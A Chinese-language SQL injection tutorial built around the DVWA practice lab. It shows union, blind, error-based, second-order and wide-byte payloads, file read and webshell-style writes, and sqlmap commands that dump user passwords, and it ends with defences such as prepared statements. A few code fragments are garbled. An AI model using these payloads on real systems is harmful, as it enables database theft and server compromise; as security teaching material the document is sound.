SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。由于sql语句本身的多样性,以及可用于构造sql语句的编程方法很多,因此凡是构造sql语句的步骤均存在被攻击的潜在风险。Sql注入的方式主要是直接将代码插入参数中,这些参数会被置入sql命令中加以执行。间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。当将存储的字符串置入动态sql命令中时,恶意代码就将被执行。
如果web应用未对动态构造的sql语句使用的参数进行正确性审查(即便使用了参数化技术),攻击者就很可能会修改后台sql语句的构造。如果攻击者能够修改sql语句,那么该语句将与应用的用户具有相同的权限。当使用sql服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。
1.产生过程
大多数的web应用都需要与数据库进行交互,并且大多数web应用编程语言(如ASP、C##、.NET、Java和PHP)均提供了可编程的方法来与数据库连接并进行交互。如果web应用开发人员无法确保在将从web表单,cookie及输入参数等收到的值传递给sql查询(该查询在数据库服务器上执行)之前已经对其进行过验证,那么通常会出现sql注入漏洞,如果攻击者能够控制发送给sql查询的输入,并且能够操纵该输入将其解析为代码而非数据,那么攻击者就很有可能有能力在后台数据库执行该代码。
2.常见的sql注入产生原因
2.1.不当的处理类型
Sql数据库将单引号字符(’)解析成代码与数据间的分界线:单引号外面的内容军事需要运行的代码,而用单引号引起来的内容均是数据。因为只需要简单的在URL或WEB页面的字段中输入一个单引号,就能很快速的识别出web站点是否会受到sql注入攻击。
2.2.不安全的数据库配置
数据库带有很多默认的用户预安装内容。SQL Server使用声名狼藉的“sa”作为数据库系统管理员账户,MySQL使用“root”和“anonymous”用户账户,Oracle则在创建数据库时通常会创建SYS、SYSTEM、DBSNMP和OUTLN账户。这些并非是全部的账号,知识比较出名的账户中的一部分,还有很多其他的账户。其他账户同样按默认方式进行预设,口令总所周知。
这就带来了很大的安全风险,攻击者利用sql注入漏洞时,通常会常识访问数据库的元数据,比如内部的数据库和表的名称、列的数据类型和访问权限,例如MySQL服务器的元数据位于information_schema虚拟数据库中,可通过show databases;和show tables;命令访问。所有的MySQL用户均有权限访问该数据库中的表,但只能查看表中那些与该用户访问权限相对应的对象的行。
2.3.不合理的查询集处理
有时需要使用动态的sql语句对某些复杂的应用进行编码,因为程序开发阶段可能还不知道要查询的表或字段(或者不存在)。比如与大型数据库交互的应用,这些数据库在定期创建的表中的数据由于应用已经产生了输入,因而开发人员会信任该数据,攻击者可以使用自己的表和字段数据来替换应用产生的值,从而影响系统的返回值。
2.4.不当的错误处理
错误处理不当会为web站点带来很多安全方面的问题。最常见的问题是将详细的内部错误消息(如错误代码,数据库转存储)显示给用户或攻击。这些错误消息会泄露实现细节,为攻击者提供与网站潜在缺陷相关的重要线索。
2.5.多个提交处理不当
大型的web开发项目会出现这样的问题:有些开发人员会对输入进行验证,而一些开发人员则不以为然。对于开发人员,团队,甚至公司来说,彼此独立工作的情形并不少见,很难保证项目中每个人都遵循相同的标准。
应用打开发人员还倾向于围绕用户来设计应用,他们尽可能的使用预期的处理流程来引导用户,认为用户将遵循他们已经设计好的逻辑顺序。
例如:当用户已到达一系列表单中的第三个表单时,他们会期望用户肯定已经完成第一个和第二个表达。但实际上,借助URL乱序来请求资源,能够非常容易的避开预期的数据流程。
1.information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
2.information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
1.SCHEMATA 表:当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据
mysql> use information_schema;
mysql> select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
+--------------------+----------------------------+
| SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME |
+--------------------+----------------------------+
| information_schema | utf8 |
| challenges | gbk |
| mysql | latin1 |
| performance_schema | utf8 |
| security | gbk |
+--------------------+----------------------------+
2.TABLES 表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。
mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+---------------------------------------+
| def | information_schema | CHARACTER_SETS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| def | information_schema | COLUMNS |
| def | information_schema | COLUMN_PRIVILEGES |
+---------------+--------------------+---------------------------------------+
5 rows in set (0.00 sec)
3.COLUMNS 表:存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。
mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+----------------+
| def | information_schema | CHARACTER_SETS |
| def | information_schema | CHARACTER_SETS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATIONS |
| def | information_schema | COLLATIONS |
+---------------+--------------------+----------------+
4.USER_PRIVILEGES 表:用户权限表。内容源自 mysql.user 授权表。是非标准表。
mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
+--------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def | SELECT | YES |
| 'root'@'localhost' | def | INSERT | YES |
| 'root'@'localhost' | def | UPDATE | YES |
| 'root'@'localhost' | def | DELETE | YES |
| 'root'@'localhost' | def | CREATE | YES |
+--------------------+---------------+----------------+--------------+
5 rows in set (0.00 sec)
3.1、提前准备
mysql> create database book;
mysql> use book;
mysql> CREATE TABLE IF NOT EXISTS book( `book_id` INT UNSIGNED AUTO_INCREMENT, `book_title` VARCHAR(100) NOT NULL, `book_author` VARCHAR(40) NOT NULL, `submission_date` DATE, PRIMARY KEY ( `book_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| book |
| mysql |
| performance_schema |
+--------------------+
mysql> use book;
mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book |
+----------------+
1 row in set (0.00 sec)
mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+------------------+------+-----+---------+----------------+
| book_id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| book_title | varchar(100) | NO | | NULL | |
| book_author | varchar(40) | NO | | NULL | |
| submission_date | date | YES | | NULL | |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)
3.2、注入流程
3.2.1、打开网页进行查询当前数据库的用户、数据库名
注意:跨库查询的前提条件是必须高权限的用户才能执行跨库查询
// 查询当前数据库的用户,可以看到当前用户为root拥有最高的权限
?id=-1%20union%20select%201,user(),3
// 查询当前数据库的数据库名,获取到当前网站的数据库是security
?id=-1%20union%20select%201,database(),3
3.2.2、获取到所有的数据库名称
union select 1,group_concat(schema_name),3 from information_schema.schemata
备注:GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。
3.2.3、指定获取book库中的表名信息
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'
3.2.4、获取指定数据库book下的book表的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book'
3.2.5、查询到指定数据
union select book_id,book_title,book_author from book.book
4.1、函数介绍
load_file 文件读取
into outfile 或into dumpfile 文件写入
4.2、查询是否有写入的权限
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
4.3、文件读取
?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3
等同于
select load_file('/etc/passwd')\G;
4.4、文件写入
?id=-2%20union%20select%201,%27<?php%20phpinfo()%20?>%27,3%20into%20outfile%20%27./test.php%27
等同于
select '' into outfile '/var/www/html/test.php'
注意:在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限,若想在/var/www/html/下面写入,需要对目录修改权限
1.简介
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同:正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。
2.为什么在PHP5.4.0及其之后PHP版本中被取消
2.1.可移植性
编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开,并据此编程。
2.2.性能
由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。
2.3.方便
由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 '。针对这个问题,可以使用 stripslashes() 函数处理。
3.绕过方法
采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
6.1、盲注
1.简介
在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,需要使用一些特殊的方式来判断,这个过程成为盲注。
2.分类
布尔盲注(是或不是)、时间盲注
3.常用函数
substr(string str, num start, num len) // 从 start 位置截取 str 字符串 len 位;初始位置为1,且 len 可省略
length(string str) // 返回字符串长度
ord(string str) // 返回 str 最左面字符的 ASCII 码值
left(string str, num len) // 从左截取 str 的前 len 位
limit [offset,] rows // offset 指定从哪一行开始返回,初始行的偏移量为0;rows 指定返回具体行数
ascii() // 将某个字符转换为 ASCII 码值
if(exp1, exp2, exp3) // 如果 exp1 正确,就执行 exp2 ,否则执行 exp3;搭配 sleep() 使用
sleep(time) // 休眠多少秒
concat(str1, str2,...) // 将多个字符串连接成一个字符串,保持原有行数
concat_ws(separator, str1, str2, ...) // 将多个字符串连接成一个字符串,但是可以一次性指定分隔符,保持原有行数
group_concat(str1, str2,...) // 将多个字符串连接成一个字符串,合并到一行
6.2、报错注入
1.简介
一般是页面没有回显,但是SQL语句执行可以输出错误信息的情况。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
2.注意:报错注入最好用 and ,因为我们目的是让其产生报错信息。
3.Xpath类型函数(mysql version >= 5.1.5):
extractvalue (XML_document, XPath_string)
- 第一个参数:XML_document 是目标XML文档
- 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
updatexml (XML_document, XPath_string, new_value)
- 第一个参数:XML_document 是目标XML文档
- 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
- 第三个参数:new_value 用来替换查找到的符合条件的数据
7.1、介绍
1.简介
指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
2.补充
mysql_escape_string()函数,该函数和mysql_real_escape_string一样可以转移特殊字符,但不同的是经过mysql_escape_string处理的参数在存入数据库时会被还原成原来的数据
3.场景
设想在登录页面username和password都经过了mysql_real_escape_string函数的转义,无法造成SQL注入。但注册页面使用的是mysql_escape_string函数,那么我们注册一个名为admin'#的用户,密码设为admin,登录该用户后,在修改密码页面修改密码为123456,这时admin'#的密码没有被修改,反而是admin的密码被修改了。
4.原理
后端数据库执行的命令为,UPDATE users SET PASSWORD='123456’ where username='admin'#' and password='admin',等价于,UPDATE users SET PASSWORD='123456' where username='admin'
最后我们看到的是将admin的账户密码修改为了123456而admin'#并没有发生改变,原因是代码执行的过程中将'#没有过滤直接带入执行导致'与前面的代码闭合而#将后面的代码给注释。
8.1、前言
1.当某字符的大小为一个字节时,称其字符为窄字节
2.当某字符的大小为两个字节时,称其字符为宽字节
3.所有英文默认占一个字节,汉字占两个字节
4.常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS
8.2、原理
MySQL数据库编码与PHP编码不同导致,如MySQL数据库使用GBK编码而PHP编码为UTF8。MySQL认为两个字符是一个汉字(前一个字符ascii码要大于128,如%df),而当我们输入%df和单引号(%df')时,MySQL会调用转义函数如addslashes,将单引号转义(添加 \ )后整个为 %df\' ,其中 \ 的十六进制是%5c,即 %df%5c' ,而MySQL的GBK编码会认为%df%5c是一个汉字(運),而此时单引号仍然存在,可以实现闭合,从而造成SQL注入。
参考链接: 渗透测试-SQL注入之宽字节注入
1、Low级别
1.1、代码分析
查看前端代码:发现是一个form表单,有id和submit两个参数,并且以GET方式提交。
查看后端PHP代码:
' . ((is_object(query)ordie(′<pre>′.((isobject(GLOBALS[“___mysqli_ston”]))…
将结果集中first_name和last_name字段的值分别赋值给变量 f i r s t 和变量 first和变量 first和变量last,并打印输出。
1.2、Poc
输入单引号查询,页面报错,判断存在SQL注入。
如何判断是字符型还是数值型的方法,参考此链接:sql注入_字符型、数字型判断
输入1查询出的用户为admin,输入1+2查询出的用户还是admin,判断是字符型SQL注入。
或者
输入1 and 1=2 页面回显正常,判断是字符型SQL注入。
1.3、注入流程
1.3.1、猜字段数
1’ order by 1# 和 1’ order by 2# 回显正常,1’ order by 3# 报错,由此得到字段数目为2。使用#是注释掉后面那个单引号。
1.3.2、判断可显示字段
通过联合查询判断哪些字段可以显示出来:’ union select 1,2#
可以看到字段1和字段2都可以被显示出来
1.3.3、利用MySQL内置函数查询用户名和数据库名
输入:’ union select user(),database()#
得到当前用户名为root@localhost,数据库名为dvwa。
1.3.4、利用information_schema查询数据库名、表名、字段名
information_schema的三个表 SCHEMA,TABLES,COLUMNS 分别记录有系统上的数据库名,各个数据库的表名,各个表里面的字段名
这里需要先改一下dvwa数据库的排序规则,要和information_schema数据库的一致才行,即由 utf8_unicode_ci 改为 utf8_general_ci
具体操作为:phpMyAdmin - dvwa - 操作 - 排序规则 - 改为utf8_general_ci
获取全部数据库名称信息:’ union select 1,SHCEMA_NAME from information_schema.SCHEMA #
补充,这里我出现报错信息:Illegal mix of collations for operation ‘UNION’,解决办法参考此链接:sql注入时union出错(Illegal mix of collations for operation UNION)
可以看到有4个数据库,分别为information_schema,dvwa,mysql,performance_schema,sys,我们接着对名为dvwa的数据库进行SQL注入。
获取表名:’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘dvwa’ #
可以看到dvwa数据库有两个表,分别为guestbook,users,很明显用户名和密码是在users表里面,我们继续对users表SQL注入。
获取字段名:'union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘users’ #
可以看到有许多字段,其中user和password正是我们需要的。
这里可以用group_concat()函数,使返回的结果更加醒目:‘union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = ‘users’ #
或者使用limit限制输出个数:’ union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = ‘users’ limit 0,1 #
最后爆出用户名和密码:’ union select user,password from users#
2、Medium级别
2.1、代码分析
通过分析前后端代码发现,Medium等级和Low等级的区别在于:
2.2、Poc
输入单引号查询,页面报错,判断存在SQL注入。
输入1 and 1=2,页面回显错误,判断存在数值型SQL注入。
2.3、注入流程
2.3.1、猜字段数和判断回显点和Low级别基本无差异,且不用考虑闭合单引号的问题,不做多的解释
2.3.2、利用MySQL内置函数查询用户名和数据库名,且不用考虑闭合单引号的问题,不做多的解释
2.3.3、利用information_schema爆出表名、字段名
爆表名:
union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x64767761
因为 mysqli_real_escape_string() 函数会转义单引号,所以使用 16进制 进行绕过,dvwa 的16进制表示为 0x64767761
爆字段名:
union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273
同样,因为 mysqli_real_escape_string() 函数会转义单引号,所以使用 16进制 进行绕过,users 的16进制表示为 0x7573657273
2.3.4、爆用户名、密码
union select user,password from users
3、High级别
High级别是在新的页面输入内容,查看源码发现只是比Low级别多了个 limit 1 来限制只输出一条,其他和Low级别一样。
而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
4、Impossible级别
我们可以看到代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入。
Check Anti-CSRF token部分:
防止CSRF攻击,Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位
Was a number entered?部分:
is_numeric() 函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare预编译sql语句,能防止sql注入。
Make sure only 1 result is returned部分:
$data->rowCount() == 1限制了只返回一条语句。
1、Low级别
1.1、找注入点
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
可以看到页面需要 cookie 来认证身份,通过 burpsuite 抓包得到 cookie
将 cookie 添加进去
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada"
1.2、爆数据库
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -dbs
1.3、爆表名
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -tables
1.4、爆字段名
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users --columns
1.5、获取用户名、密码
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users -C user,password --dump
2、Medium级别
Medium 级别的表单通过 POST 方式提交,需要使用 --data 参数把数据引入过来,再改一下cookie,其余和 Low 级别一样。
爆库名:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -dbs
爆表名:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -tables
爆字段名:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users --columns
获取用户名、密码:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=shmh08p3tkd0metej9r2f87ada" -D dvwa -T users -C user,password --dump
3、High级别
有时返回结果的页面并不是当前的页面,而是另外的一个页面,这就需要指定到哪个页面获取响应,判断真假。
这里我们使用 --second-url 指定到 http://192.168.124.91/DVWA/vulnerabilities/sqli/ 获取响应,判断真假,再再改一下cookie,其余和 Medium 级别一样。
爆库名:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -dbs
爆表名:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -D dvwa -tables
爆字段名:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -D dvwa -T users --columns
获取用户名、密码:
python sqlmap.py -u "http://192.168.124.91/DVWA/vulnerabilities/sqli/session-input.php#" --second-url "http://192.168.124.91/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=shmh08p3tkd0metej9r2f87ada; security=high" -D dvwa -T users -C user,password --dump
1、基本概念
简介: 在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,需要使用一些特殊的方式来判断,这个过程成为盲注。
分类: 布尔盲注(是或不是)、时间盲注
常用函数:
substr(string str, num start, num len) // 从 start 位置截取 str 字符串 len 位;初始位置为1,且 len 可省略
length(string str) // 返回字符串长度
ord(string str) // 返回 str 最左面字符的 ASCII 码值
left(string str, num len) // 从左截取 str 的前 len 位
limit [offset,] rows // offset 指定从哪一行开始返回,初始行的偏移量为0;rows 指定返回具体行数
ascii() // 将某个字符转换为 ASCII 码值
if(exp1, exp2, exp3) // 如果 exp1 正确,就执行 exp2 ,否则执行 exp3;搭配 sleep() 使用
sleep(time) // 休眠多少秒
concat(str1, str2,...) // 将多个字符串连接成一个字符串,保持原有行数
concat_ws(separator, str1, str2, ...) // 将多个字符串连接成一个字符串,但是可以一次性指定分隔符,保持原有行数
group_concat(str1, str2,...) // 将多个字符串连接成一个字符串,合并到一行
2、布尔盲注
Poc
输入 1 and 1=2 页面回显正常,判断为字符型SQL注入
爆库名
猜长度:
1' and length(database())=1# 或者 ' or length(database())=1#
......
1' and length(database())=4#
页面回显正常,得到当前数据库名长度为 4
猜库名:
1' and substr(database(),1,1)='d'# 或者 1' and ascii(substr(database(),1,1))=100#
......
1' and substr(database(),4,1)='a'#
最终,得到数据库名称为 dvwa
爆表名
猜表个数:
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
页面回显正常,得到表个数为 2 个
猜表2长度:
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5#
或者 1' and (select length(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)=5#
页面回显正常,得到表2长度为 5
猜表2表名:
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='u'#
......
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2,1)='s'#
最终,得到表2名为 users
爆字段名、获取用户名密码的方法和前面所述差不多,就是无数遍的二分法,不再赘述
3、时间盲注
爆库名
猜长度:
1' and if(length(database())=4,sleep(5),1)#
页面休眠了5秒,得到数据库名长为 4
猜名字:
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
页面休眠了5秒,得到数据库名第一个字母为 d
......
1' and if(ascii(substr(database(),4,1))=97,sleep(5),1)#
页面休眠了5秒,得到数据库名第一个字母为 a
最终得到数据库名为:dvwa
爆表名
猜表的个数:
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#
页面休眠了5秒,得到该数据库中表的个数为 2 个
猜表2名字的长度:
1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#
页面休眠了5秒,得到表2名字长度为 5
猜表2名字:
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117,sleep(5),1)#
页面休眠了5秒,得到第一个字母为 u
......
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),5,1))=115,sleep(5),1)#
页面休眠了5秒,得到第一个字母为 s
最终得到表2名字:users
爆字段名、获取用户名密码的方法和前面所述差不多,就是无数遍的二分法,不再赘述
1、基本概念
简介: 一般是页面没有回显,但是SQL语句执行可以输出错误信息的情况。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
**注意:**报错注入最好用 and ,因为我们目的是让其产生报错信息。
Xpath类型函数(mysql version >= 5.1.5):
extractvalue (XML_document, XPath_string)
- 第一个参数:XML_document 是目标XML文档
- 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
updatexml (XML_document, XPath_string, new_value)
- 第一个参数:XML_document 是目标XML文档
- 第二个参数:XPath_string 是该XML文档的路径,如果写入其他格式就会报错,并且返回非法格式的内容,报错注入正是利用这一点
- 第三个参数:new_value 用来替换查找到的符合条件的数据
2、注入流程
爆库名
1' and extractvalue(1,concat(0x7e,database(),0x7e))# 或者 1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
根据页面回显,得到数据库名:dvwa
爆表名
由于 extractvalue() 最大返回长度为 32 ,所以最好用 limit N,1 一行一行的进行回显。
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e))#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),0x7e))#
根据页面回显,得到表名:guestbook 和 users
爆字段名
......
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e))#
得到字段名 user 与 password
获取用户名、密码
通过 concat_ws() 和 limit N,1来进行逐条回显。
1' and extractvalue(1,concat(0x7e,(select concat_ws(',',user,password) from users limit 0,1),0x7e))#
......
1、变换大小写
2、16进制编码
3、利用注释符
4、重写
5、比较操作符替换
6、同功能函数替换
7、二次注入
简介: 指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
补充: mysql_escape_string()函数,该函数和mysql_real_escape_string一样可以转移特殊字符,但不同的是经过mysql_escape_string处理的参数在存入数据库时会被还原成原来的数据
场景: 设想在登录页面username和password都经过了mysql_real_escape_string函数的转义,无法造成SQL注入。但注册页面使用的是mysql_escape_string函数,那么我们注册一个名为admin’#的用户,密码设为123456,登录该用户后,在修改密码页面修改密码为666666,这时admin’#的密码没有被修改,反而是admin的密码被修改了。
原理: 后端数据库执行的命令为,UPDATE users SET PASSWORD=‘666666’ where username=‘admin’#’ and password=‘123456’,等价于,UPDATE users SET PASSWORD=‘666666’ where username=‘admin’
8、宽字节注入(%df’)
前言:
原理: MySQL数据库编码与PHP编码不同导致,如MySQL数据库使用GBK编码而PHP编码为UTF8。MySQL认为两个字符是一个汉字(前一个字符ascii码要大于128,如%df),而当我们输入%df和单引号(%df’)时,MySQL会调用转义函数如addslashes,将单引号转义(添加 \ )后整个为 %df’ ,其中 \ 的十六进制是%5c,即 %df%5c’ ,而MySQL的GBK编码会认为%df%5c是一个汉字(運),而此时单引号仍然存在,可以实现闭合,从而造成SQL注入。
参考链接: 渗透测试-SQL注入之宽字节注入
1、限制数据类型
2、正则表达式匹配
比如这段PHP代码
$id=$_POST['id'];
if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) {
die('stop hacking!');
} else {
echo 'good';
}
3、转义函数
4、SQL语句预编译
比如这段PHP代码
String query="select password from users where username='?' ";
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1="Stuttgart";
$val2="DEU";
$val3="Baden";
//execute the statement
$stmt->execute();
即使攻击者插入类似 admin’ or 1=1# 的字符串,预编译会将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行,避免了类似sql语句拼接、闭合等非法操作